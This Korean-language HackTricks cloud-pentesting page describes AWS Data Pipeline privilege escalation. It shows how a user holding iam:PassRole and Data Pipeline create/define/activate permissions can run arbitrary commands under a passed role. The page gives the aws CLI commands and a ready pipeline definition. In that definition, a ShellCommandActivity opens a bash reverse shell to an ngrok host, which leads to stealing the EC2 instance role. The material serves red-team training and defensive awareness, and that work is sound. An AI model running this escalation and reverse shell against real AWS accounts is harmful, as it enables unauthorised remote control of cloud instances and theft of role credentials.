AWS - Datapipeline Privesc

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

datapipeline

datapipeline에 대한 자세한 정보는 다음을 확인하세요:

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

권한을 가진 사용자들은 Data Pipeline을 생성하여 할당된 역할의 권한을 사용하여 임의의 명령을 실행함으로써 권한을 상승시킬 수 있습니다:

bash
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

파이프라인 생성 후, 공격자는 특정 작업이나 리소스 생성을 지시하기 위해 정의를 업데이트합니다:

json
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}

note

14, 15 및 27행역할datapipeline.amazonaws.com에 의해 가정 가능한 역할이어야 하며, 28행의 역할은 EC2 프로필 인스턴스가 있는 ec2.amazonaws.com에 의해 가정 가능한 역할이어야 합니다.

또한, EC2 인스턴스는 EC2 인스턴스에 의해 가정 가능한 역할에만 접근할 수 있으므로 (그 역할만 훔칠 수 있습니다).

bash
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

공격자가 제작한 파이프라인 정의 파일은 AWS API를 통해 명령을 실행하거나 리소스를 생성하는 지시어를 포함하고 있으며, Data Pipeline의 역할 권한을 활용하여 추가 권한을 얻을 수 있습니다.

잠재적 영향: 지정된 ec2 서비스 역할로의 직접적인 권한 상승.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기